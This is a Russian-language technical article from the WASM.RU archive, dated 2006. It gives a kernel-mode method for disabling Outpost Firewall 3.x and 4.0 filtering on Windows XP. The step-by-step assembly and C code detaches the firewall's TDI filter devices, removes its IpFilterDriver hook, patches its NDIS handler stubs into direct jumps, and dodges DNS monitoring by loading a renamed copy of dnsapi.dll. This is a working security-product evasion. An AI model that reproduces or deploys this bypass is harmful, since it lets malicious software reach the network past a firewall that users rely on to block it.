Обход Outpost Firewall 3.x и 4.0 в Kernel mode — Архив WASM.RU
Я приведу описание обхода самого распространенного и используемого брандмауэра - Outpost Firewall. Он имеет достаточно гибкие настройки, защиту от внедрения кода (Inject), контроль компонентов, поэтому его обход в ring-3 представляет некоторые сложности: Inject все-таки возможен, но требует написания базонезависимого кода для работы с сетью, и прочий геморрой ;) Я предлагаю переместиться на уровень ниже, в ring-0, где возможно все Будут рассмотрены версии 3.x и 4.0. Я затрону только тему обхода Outpost для беспрепятственной работы с сетью, ничего насчет других фич Outpost'а здесь сказано не будет. Предупреждение: приведенный ниже код разрабатывался и тестировался для Windows XP, на остальных версиях не заработает (см. NDIS_PROTOCOL_BLOCK для каждой ОС).
Outpost Firewall, имеет четыре типа защиты на разных уровнях, в ядре:
- Перехват на уровне TDI. Перехват обращений к устройствам: \Device\Ip, \Device\RawIp, \Device\Tcp и \Device\Udp посредством создания и присоединения своего устройства с целью принимать и фильтровать поступающие вызовы к этим устройствам от приложений.
- Перехват на уровне IpFilterDriver. Это документированная возможность Windows XP+, предоставляющая услуги фильтрации пакетов в ядре (т.е. не нужно заморачиваться с установкой перехвата на NDIS и TDI).
- Перехват на уровне NDIS.
Достигается за счет правки таблицы экспорта модуля NDIS.SYS и установки своих обработчиков, при вызове которых осуществляется фильтрация.
- Перехват функций создания/удаления NDIS-протоколов: NdisRegisterProtocol, NdisDeregisterProtocol
- Перехват функций открытия/закрытия адаптера: NdisOpenAdapter, NdisCloseAdapter
- Перехват обращения к DNSAPI (только в версии 4.0)
Самым сложным в снятии перехвата является перехват на NDIS-уровне. Рассмотрим по порядку:
1) Снятие перехвата на уровне TDI не составит труда тому, кто знаком с объектной архитектурой ядра и умеет успешно манипулировать объектами. Перехват обращений к устройствам \Device\Ip, \Device\RawIp, \Device\Tcp и \Device\Udp достигается путем создания фиктивного устройства, а затем присоединение его к стеку устройств вызовом IoAttachDevice. При обращении ring3 приложения к сервису TDI, происходит построение IRP-пакета и поочередный вызов по стеку. Первым вызывается сервис Outpost'а, потом остальные. Наша задача проста - исключить устройство фаервола из связного списка устройств стека. Но зная то, что изначально никаких устройств не должно быть присоединено к Ip, Tcp, Udp, RawIp, мы получим указатель на структуру DEVICE_OBJECT устройства и просто обнулим поле AttachedDevice, тем самым уберем все фильтры на TDI. Все! Теперь IRP-пакеты будут идти прямиком к драйверу Tcpip.sys и никуда более. Как это реализуется:
Код (Text):
LOCAL TcpipDrvObj :PDRIVER_OBJECT ... invoke ObReferenceObjectByName, $CCOUNTED_UNICODE_STRING("\\Driver\\Tcpip"), OBJ_CASE_INSENSITIVE, NULL, 0, \ IoDriverObjectType, KernelMode, NULL, addr TcpipDrvObj test eax, eax jnz @ret mov eax, TcpipDrvObj mov ebx, (DRIVER_OBJECT ptr [eax]).DeviceObject assume ebx : ptr DEVICE_OBJECT ; EBX -> текущее устройство ; Перечисляем все устройства драйвера Tcpip.sys: ; \Device\Ip, \Device\RawIp, \Device\Tcp, \Device\Udp, \Device\IPMULTICAST @enum_devices: and [ebx].AttachedDevice, 0 ; Перехват снят mov ebx, [ebx].NextDevice test ebx, ebx jnz @enum_devices assume ebx : nothing invoke ObDereferenceObject, TcpipDrvObjOutpost никак не проверяет отсутствие его устройства в стеке, поэтому анти-перехват сработал. Таким же образом можно убрать перехват почти любых TDI-Firewall'ов (если конечно они постоянно не проверяют наличие своего устройства в стеке, иначе это будет чуть сложнее).
2) IpFilterDriver является драйвером, который используется встроенным фаерволом Windows. Этот сервис предоставляет возможность просмотра пакетов и их фильтрацию в ядре. Что происходит при инициализации фильтрации с помощью IpFilterDriver в FILTNT.SYS:
a) Загружается драйвер ipfltdrv.sys:
Код (Text):
UNICODE_STRING RegPath; RtlInitUnicodeString(&RegPath, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\IpFilterDriver"); ZwLoadDriver(&RegPath);b) Получаем указатель на устройство \Device\Ipfilterdriver:
Код (Text):
PFILE_OBJECT IpFilterFileObj; PDEVICE_OBJECT IpFilterDevObj; UNICODE_STRING DevPath; RtlInitUnicodeString(&DevPath, L"\\Device\\IPFILTERDRIVER"); IoGetDeviceObjectPointer(&DevPath, STANDARD_RIGHTS_ALL, &IpFilterFileObj, &IpFilterDevObj);c) Создается IRP пакет, который передается драйверу:
Код (Text):
PIRP pIrp; DWORD InBuff = (DWORD)&FilterProc; pIrp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER, IpFilterDevObj, &InBuff, 4, 0, 0, 0, 0, 0); IoCallDriver(IpFilterDevObj, pIrp);Где FilterProc - callback функция, вызывающаяся при приеме/передаче пакетов, и позволяющая пропустить или дропнуть пакет. В DDK сказано, что если передать вместо указателя на функцию NULL, то обработчик удаляется. Outpost также никак не следит за сохранностью своего обработчика, и мы можем беспрепятственно таким же путем удалить его:
Код (Text):
LOCAL IpFilterFileObj :PFILE_OBJECT LOCAL IpFilterDevObj :PDEVICE_OBJECT LOCAL InBuff :DWORD ... invoke IoGetDeviceObjectPointer, $CCOUNTED_UNICODE_STRING("\\Device\\Ipfilterdriver"), \ GENERIC_READ or GENERIC_WRITE or SYNCHRONIZE, addr IpFilterFileObj, addr IpFilterDevObj test eax, eax jnz @ret and InBuff, 0 invoke IoBuildDeviceIoControlRequest, IOCTL_IP_SET_FIREWALL_HOOK, IpFilterDevObj, addr InBuff, 4, 0, 0, 0, 0, 0 test eax, eax jz @ret invoke IoCallDriver, IpFilterDevObj, eax3) Самая сложная и громоздкая часть - это снятие перехвата со всех зарегистрированных NDIS-протоколов в системе (структура NDIS_PROTOCOL_BLOCK), а также их открытых блоков (структура NDIS_OPEN_BLOCK). Структура NDIS_OPEN_BLOCK определена в ndis.h из DDK, но NDIS_PROTOCOL_BLOCK нет. Покопавшись в различных источниках, а также взглянув на эту структуру через отладчик, не трудно догадаться что она скрывает ;) Замечу, что эта структура различна в разных версиях Windows. В системе существует связный список NDIS-протоколов, представляемых структурой NDIS_PROTOCOL_BLOCK, которые экспортируют свои функции-обработчики, которые вызываются при каких-то событиях: например при связывании адаптера и протокола, при принятии и удалении пакета и т.д. Существует неэкспортируемая переменная модуля NDIS.SYS ndisProtocolList, которая указывает на последний зарегистрированный протокол (и первый в списке). Искать ее не имеет смысла, когда существует чуть более громоздкое, но переносимое между версиями ОС решение: мы зарегистрируем пустой протокол, только для того чтобы получить указатель на следующий протокол в цепочке и сразу его удалим. Полученный после регистрации протокола NDIS_HANDLE будет указателем на нашу созданную структуру NDIS_PROTOCOL_BLOCK:
Код (Text):
LOCAL NdisProto :NDIS_PROTOCOL_CHARACTERISTICS LOCAL NdisStatus :NDIS_STATUS LOCAL NdisProtoHandle :NDIS_HANDLE ... lea edi, NdisProto mov ecx, sizeof NdisProto xor eax, eax rep stosb mov NdisProto.MajorNdisVersion, 4 mov NdisProto.BindAdapterHandler, BindAdapterStub mov NdisProto.UnbindAdapterHandler, UnbindAdapterStub ; Регистрируем NDIS-протокол для того чтобы получить указатель ; на связный список протоколов invoke NdisRegisterProtocol, addr NdisStatus, addr NdisProtoHandle, addr NdisProto, sizeof NdisProto cmp NdisStatus, NDIS_STATUS_SUCCESS jnz @ret mov ebx, NdisProtoHandle ; EBX -> текущий протокол assume ebx : ptr NDIS_PROTOCOL_BLOCK mov ebx, [ebx].Next ; Скорее всего указывает на протокол TCPIP_WANARP invoke NdisDeregisterProtocol, addr NdisStatus, NdisProtoHandleКогда система девственно чиста, почти всегда присутствует такой набор протоколов: NDISUIO, TCPIP_WANARP, TCPIP, NDPROXY, PSCHED, RASPPPOE, NDISWAN каждый из них выполняет различные задачи. Например, Outpost создает свой протокол, чтобы вклиниться в список: (VFILT). Еще пример: снифер CommView создает протоколы: TSCOMM и CV2K1. Чтобы поглубже познакомиться с недрами NDIS, используйте программу NdisMonitor. После регистрации/удаления протокола мы имеем указатель на первый протокол в списке (если не запущен снифер, или др. программы, работающие на уровне NDIS, это будет протокол TCPIP_WANARP). Структура NDIS_PROTOCOL_BLOCK содержит указатели на обработчики протокола, которые Outpost перехватывает. Чтобы была возможность поддержки переменного количества протоколов, перехват ставится следующим образом:
– Выделяется память
– Записываются некоторые данные, характеризующие протокол. Формируется команда call (опкод 0E8h) на обработчик внутри FILTNT.SYS, который содержит следующие инструкции:
Outpost 3.x:
Код (Text):
pop eax push [eax] ; Настоящий обработчик pushad push [eax+4] push [esp+28h] jmp [eax+8]Outpost 4.0:
Код (Text):
pop eax add eax, 3 push [eax] ; Настоящий обработчик pushad push [eax+4] push [esp+28h] jmp [eax+8]– Вместо настоящего обработчика устанавливается адрес выделенной памяти
В ходе исследования выяснилось, что адрес реального перехваченного обработчика находится в выделенной памяти по смещению +8 (Outpost 4.0) или +5 (Outpost 3.x). Отличить версию 4.0 от 3.x достаточно просто, по инструкции add eax, 3. В каждом протоколе Outpost перехватывает следующие функции:
Код (Text):
OpenAdapterCompleteHandler SendCompleteHandler TransferDataCompleteHandler RequestCompleteHandler ReceiveHandler StatusHandler ReceivePacketHandler BindAdapterHandler UnbindAdapterHandlerВ структуре NDIS_OPEN_BLOCK содержатся указатели на обработчики конкретного адаптера, связанного с протоколом. С каждым протоколом может быть связано несколько адаптеров, открытые блоки которых объединяются в связный список. Указатель на первую структуру NDIS_OPEN_BLOCK содержится в NDIS_PROTOCOL_BLOCK.OpenBlock. Структура NDIS_OPEN_BLOCK создается при вызове NdisOpenAdapter, поэтому Outpost перехватывает эту функцию. В NDIS_OPEN_BLOCK перехватываются следующие обработчики:
Outpost 3.x:
Код (Text):
SendHandler TransferDataHandler SendCompleteHandler TransferDataCompleteHandler ReceiveHandler RequestCompleteHandler ReceivePacketHandler SendPacketsHandler StatusHandlerOutpost 4.0:
Код (Text):
SendCompleteHandler TransferDataCompleteHandler ReceiveHandler ReceivePacketHandler StatusHandlerНаверное разработчики поняли, что переборщили в 3.х с таким количеством перехватываемых обработчиков, когда достаточно перехватывать всего 5 штук. Теперь цель понятна: обойти все протоколы, в каждом протоколе снять перехват; в каждом протоколе обойти все открытые блоки и тоже снять перехват. Но не все так просто, как было с TDI и IpFilterDriver. Мы не можем просто так заменить обработчики фаера на свои, потому что тот создает поток, который время от времени проходится по всем протоколам и открытым блокам и восстановит перехват. И если Outpost 3.x, обходя список протоколов, натыкался на неперехваченный обработчик (или обработчик, с которого сняли перехват), он тупо брал адрес из структуры и опять ставил перехват, что в свое время обернулось для меня проблемой, то Outpost 4.0 хранит обработчики для каждого протокола, и правильно восстанавливает перехват. Браво! :P Ну а если не трогать указатель на обработчик, и вместо call'а на обработчик Outpost'а, поставить jmp сразу на реальный обработчик, то все будет работать как надо. Outpost не делает проверку на то, изменился ли его перехват. Для снятия перехвата с конкретного обработчика я написал функцию:
RemoveNdisProcHook proc Handler :PVOID
Код (Text):
mov ecx, Handler jecxz @ret cmp byte ptr [ecx], 0E8h ; В начале должен стоять call jnz @ret mov edx, [ecx+1] ; Смещение call'а lea edx, [ecx+edx+5] ; EDX указывает на то, куда идет вызов call'а .if dword ptr [edx] == 03C08358h ; В начале стоит: pop eax / add eax, 3 - это Outpost 4.0 mov edx, [ecx+8] .elseif dword ptr [edx] == 6030FF58h ; В начале стоит: pop eax / push [eax] / pushad - это Outpost 3.x mov edx, [ecx+5] .else jmp @ret .endif ; В EDX адрес реального обработчика mov byte ptr [ecx], 0E9h ; Превратим call в jmp sub edx, ecx sub edx, 5 mov [ecx+1], edx ; Теперь вместо передачи управления фаеру, ; будет jmp сразу на реальный обработчик @ret: ret RemoveNdisProcHook endpНу, и, наконец, последнее действо:
Код (Text):
assume ebx : ptr NDIS_PROTOCOL_BLOCK ... ; Перечисляем все зарегистрированные NDIS-протоколы @enum_protocols: ; Удаляем перехват обработчиков NDIS-протокола invoke RemoveNdisProcHook, [ebx].OpenAdapterCompleteHandler invoke RemoveNdisProcHook, [ebx].SendCompleteHandler invoke RemoveNdisProcHook, [ebx].TransferDataCompleteHandler invoke RemoveNdisProcHook, [ebx].RequestCompleteHandler invoke RemoveNdisProcHook, [ebx].ReceiveHandler invoke RemoveNdisProcHook, [ebx].StatusHandler invoke RemoveNdisProcHook, [ebx].ReceivePacketHandler invoke RemoveNdisProcHook, [ebx].BindAdapterHandler invoke RemoveNdisProcHook, [ebx].UnbindAdapterHandler mov esi, [ebx].OpenBlock ; ESI -> текущий открытый блок test esi, esi jz @next assume esi : ptr NDIS_OPEN_BLOCK ; Перечисляем все открытые блоки этого протокола @enum_open_blocks: ; Удаляем перехват обработчиков открытого блока invoke RemoveNdisProcHook, [esi].SendHandler invoke RemoveNdisProcHook, [esi].TransferDataHandler invoke RemoveNdisProcHook, [esi].SendCompleteHandler invoke RemoveNdisProcHook, [esi].TransferDataCompleteHandler invoke RemoveNdisProcHook, [esi].ReceiveHandler invoke RemoveNdisProcHook, [esi].RequestCompleteHandler invoke RemoveNdisProcHook, [esi].ReceivePacketHandler invoke RemoveNdisProcHook, [esi].SendPacketsHandler invoke RemoveNdisProcHook, [esi].StatusHandler mov esi, [esi].ProtocolNextOpen test esi, esi jnz @enum_open_blocks assume esi : nothing @next: mov ebx, [ebx].Next test ebx, ebx jnz @enum_protocols assume ebx : nothing4) Три главных метода фильтрации Outpost'а сняты. Для версий 3.x этого достаточно, но в Outpost версии 4.0 добавилась возможность перехватывать DNS-запросы приложений. Вернее даже не сами запросы - разработчикам ничего умнее в голову не пришло, кроме как отлавливать загрузку модуля DNSAPI.DLL. Это юзермодная DLL, которая выполняет функции преобразования имя->адрес (и наоборот), запроса MX-серверов и много чего другого. Вызов gethostbyname() влечет за собой загрузку этой библиотеки, и появляется окно фаера, в котором "Приложение пытается выполнить DNS-запрос". Чтобы обойти эту фичу, не нужно даже кода ядра. Но придется отказаться от функций gethostbyname(), gethostbyaddr() и других: нужно скопировать библиотеку system32\dnsapi.dll куда-нибудь, под другим именем (в этом суть), загрузить ее, получить указатель на функцию DnsQuery_A и произвести DNS-запрос. Outpost никак на это не отреагирует, т.к. он проверяет только имя загружаемого модуля. Логичнее было бы пресекать обращения приложений на 53 порт, а не только ставить хук на загрузку DNSAPI.DLL. Конечно, можно все свалить на бета-версию, но такой неправильный путь "защиты" выбран изначально, и я уверен что эта т.н. "защита" использовалась бы и дальше. Вот как я реализовал "gethostbyname()":
Код (Text):
typedef DNS_STATUS (WINAPI *DNS_QUERY)( PCSTR lpstrName, WORD wType, DWORD fOptions, PIP4_ARRAY aipServers, PDNS_RECORD* ppQueryResultsSet, PVOID* pReserved ); typedef void (WINAPI *DNS_RECORD_LIST_FREE)( PDNS_RECORD pRecordList, DNS_FREE_TYPE FreeType ); ... char buf[256], buf2[256]; PDNS_RECORD pRec; DNS_QUERY pDnsQuery; DNS_RECORD_LIST_FREE pDnsRecordListFree; HINSTANCE hLib; GetTempPath(sizeof(buf), buf); strcat(buf, "xxxxx.dll"); GetSystemDirectory(buf2, sizeof(buf2)); strcat(buf2, "\\dnsapi.dll"); CopyFile(buf2, buf, FALSE); if ((hLib = LoadLibrary(buf)) && (pDnsQuery = (DNS_QUERY)GetProcAddress(hLib, "DnsQuery_A")) && (pDnsRecordListFree = (DNS_RECORD_LIST_FREE)GetProcAddress(hLib, "DnsRecordListFree"))) { if (!pDnsQuery("wasm.ru", DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, &pRec, NULL)) { sprintf(buf, "WASM.RU IP Address: %s", inet_ntoa(*(in_addr*)&pRec->Data.A.IpAddress)); MessageBox(0, buf, "Outpost DnsDetour", MB_ICONINFORMATION); pDnsRecordListFree(pRec, DnsFreeRecordList); } else MessageBox(0, "Can't get WASM.RU IP Address!", "Outpost DnsDetour", MB_ICONINFORMATION); FreeLibrary(hLib); } DeleteFile(buf);Все виды перехвата, используемые Outpost'ом, сняты. Теперь любое приложение, может беспрепятственно работать с сетью. Даже при настройке Outpost'а "Блокировать все соединения".
Моей задачей не было создать универсальное средство для обхода любого рода Firewall'ов (иначе бы начался хаос :P), моей задачей было показать несостоятельность защиты Outpost'а против достаточно простого кода ядра (а также, как оказалось, кривые способы защиты от DNS-ресолвинга в новенькой бета-версии). При создании подключения, Outpost 4.0 в логе будет фиксировать "Неопределенное правило", т.к. сам перехват снят, а список открытых портов и подключений остался. В версиях же 3.x подключение не будет видно вообще. Ну и идеальным решением было бы не простое снятие перехвата, а создание "надстройки" над Firewall'ом, которая бы давала возможность выходить в сеть определенным приложениям, а в другом случае передавала бразды правления Outpost'у + скрытие определенных открытых портов и соединений.
Стоит сказать пару слов о том, что перед снятием хуков, неплохо бы запретить прерывания, APC, DPC, чтобы операция по снятию хуков была неразрывна. В архиве вы найдете исходник и откомпилированный драйвер, а также пример определения IP по имени в обход Outpost 4.0. © MaD
Обход Outpost Firewall 3.x и 4.0 в Kernel mode
Дата публикации 2 авг 2006